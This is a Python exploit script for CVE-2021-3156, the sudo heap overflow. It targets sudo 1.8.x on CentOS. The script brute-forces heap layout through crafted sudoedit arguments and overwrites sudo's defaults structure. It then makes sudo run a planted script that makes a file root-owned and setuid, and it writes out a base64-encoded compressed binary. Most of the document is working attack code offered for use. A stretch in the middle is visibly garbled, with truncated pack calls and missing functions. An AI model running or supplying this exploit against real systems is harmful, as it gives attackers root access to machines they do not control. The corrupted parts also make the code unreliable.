#!/usr/bin/python ''' Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya This exploit requires: - glibc without tcache - there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole) - disable-root-mailer is not set - /tmp is not mounted with nosuid (need modify SHELL_PATH) Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing Without glibc tcache, a heap layout rarely contains hole. The heap overflow vulnerability is triggered after parsing /etc/sudoers. The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function. It is called update heap buffer overflow. So we can update def_* value by overwriting struct defatuls (need type=DEFAULTS_CMND and fake binding). Tested on: - CentOS 7 (1.8.23, 1.8.19p2) - CentOS 6 (1.8.6) ''' import os import subprocess import sys import resource import select import signal import time from struct import pack from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31) SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) try: SUID_PATH = os.environ["SUID_PATH"] print("Using SUID_PATH = %s" % SUID_PATH) except: pass def create_bin(bin_path): if os.path.isfile(bin_path): return # existed try: os.makedirs(bin_path[:bin_path.rfind('/')]) except: pass import base64, zlib bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs=' with open(bin_path, 'wb') as f: f.write(zlib.decompress(base64.b64decode(bin_b64))) def create_shell(path, suid_path): with open(path, 'w') as f: f.write('#!/bin/sh\n') f.write('/usr/bin/id >> %s\n' % PWNED_PATH) f.write('/bin/chown root.root %s\n' % suid_path) f.write('/bin/chmod 4755 %s\n' % suid_path) os.chmod(path, 0o755) def execve(filename, cargv, cenvp): libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp): pid = os.fork() if pid: # parent _, exit_code = os.waitpid(pid, 0) return exit_code & 0xff7f # remove coredump flag else: # child execve(filename, cargv, cenvp) exit(0) def spawn(filename, argv, envp): cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(envp))(*envp) # Note: error with backtrace is print to tty directly. cannot be piped or suppressd r, w = os.pipe() pid = os.fork() if not pid: # child os.close(r) os.dup2(w, 2) execve(filename, cargv, cenvp) exit(0) # parent os.close(w) # might occur deadlock in heap. kill it if timeout and set exit_code as 6 # 0.5 second should be enough for execution sr, _, _ = select.select([ r ], [], [], 0.5) if not sr: os.kill(pid, signal.SIGKILL) _, exit_code = os.waitpid(pid, 0) if not sr: # timeout, assume dead lock in heap exit_code = 6 r = os.fdopen(r, 'r') err = r.read() r.close() return exit_code & 0xff7f, err # remove coredump flag def has_askpass(err): # 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS' return 'sudoedit: no askpass program ' in err def has_not_permitted_C_option(err): # 'sudoedit: you are not permitted to use the -C option' return 'not permitted to use the -C option' in err def get_sudo_version(): proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) for line in proc.stdout: line = line.strip() if not line: continue if line.startswith('Sudo version '): txt = line[13:].strip() pos = txt.rfind('p') if pos != -1: txt = txt[:pos] versions = list(map(int, txt.split('.'))) break proc.wait() return versions def check_sudo_version(): sudo_vers = get_sudo_version() assert sudo_vers[0] == 1, "Unexpect sudo major version" assert sudo_vers[1] == 8, "Unexpect sudo minor version" return sudo_vers[2] def check_mailer_root(): if not os.access(SUDO_PATH, os.R_OK): print("Cannot determine disble-root-mailer flag") return True return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1 def find_cmnd_size(): argv = [ b"sudoedit", b"-A", b"-s", b"", None ] env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ] size_min, size_max = 0xc00, 0x2000 found_size = 0 while size_max - size_min > 0x10: curr_size = (size_min + size_max) // 2 curr_size &= 0xfff0 print("\ncurr size: 0x%x" % curr_size) argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\' exit_code, err = spawn(SUDO_PATH, argv, env) print("\nexit code: %d" % exit_code) print(err) if exit_code == 256 and has_askpass(err): # need pass. no crash. # fit or almost fit if found_size: found_size = curr_size break # maybe almost fit. try again found_size = curr_size size_min = curr_size size_max = curr_size + 0x20 elif exit_code in (7, 11): # segfault. too big if found_size: break size_max = curr_size else: assert exit_code == 6 # heap corruption. too small size_min = curr_size if found_size: return found_size assert size_min == 0x2000 - 0x10 # old sudo version and file is in /etc/sudoers.d print('has 2 holes. very large one is bad') size_min, size_max = 0xc00, 0x2000 for step in (0x400, 0x100, 0x40, 0x10): found = False env[0] = b'A'*(7+0x4010+0x110-1+step+0x100) for curr_size in range(size_min, size_max, step): argv[-2] = b"A"*(curr_size-0x10)+b'\\' exit_code, err = spawn(SUDO_PATH, argv, env) print("\ncurr size: 0x%x" % curr_size) print("\nexit code: %d" % exit_code) print(err) if exit_code in (7, 11): size_min = curr_size found = True elif found: print("\nsize_min: 0x%x" % size_min) break assert found, "Cannot find cmnd size" size_max = size_min + step # TODO: verify return size_min def find_defaults_chunk(argv, env_prefix): offset = 0 pos = len(env_prefix) - 1 env = env_prefix[:] env.extend([ b"LC_ALL=C", b"TZ=:", None ]) # overflow until sudo crash without asking pass # crash because of defaults.entries.next is overwritten while True: env[pos] += b'A'*0x10 exit_code, err = spawn(SUDO_PATH, argv, env) print("\ncurr offset: 0x%x" % offset) print("exit code: %d" % exit_code) print(err) # 7 bus error, 11 segfault if exit_code in (7, 11) and not has_not_permitted_C_option(err): # found it env[pos] = env[pos][:-0x10] break offset += 0x10 # verify if it is defaults env = env[:-3] env[-1] += b'\x41\\' # defaults chunk size 0x40 env.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', (b'' if has_tailq else b'A'*8) + # prev if no tailq b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next (b'A'*8 if has_tailq else b'') + # entries.prev pack("binding (list head)) b'A'*8 + # chunk size b'', b'', b'', b'', b'', b'', b'', b'', # members.first ADDR_MEMBER_LAST[:6], b'', # members.last b'A'*8 + # member.name (can be any because this object is freed as list head (binding)) pack(' 1 else None offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None if cmnd_size is None: cmnd_size = find_cmnd_size() print("found cmnd size: 0x%x" % cmnd_size) argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ] env_prefix = [ b'A'*(7+0x4010+0x110) ] if offset_defaults is None: offset_defaults = find_defaults_chunk(argv, env_prefix) assert offset_defaults != -1 print('') print("cmnd size: 0x%x" % cmnd_size) print("offset to defaults: 0x%x" % offset_defaults) argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ] env = create_env(offset_defaults) run_until_success(argv, env) if __name__ == "__main__": # global intialization assert check_mailer_root(), "root mailer is disabled" sudo_ver = check_sudo_version() DEFAULTS_CMND = 269 if sudo_ver >= 15: MATCH_ALL = 284 elif sudo_ver >= 13: MATCH_ALL = 282 elif sudo_ver >= 7: MATCH_ALL = 280 elif sudo_ver < 7: MATCH_ALL = 279 DEFAULTS_CMND = 268 has_tailq = sudo_ver >= 9 has_file = sudo_ver >= 19 # has defaults.file pointer main()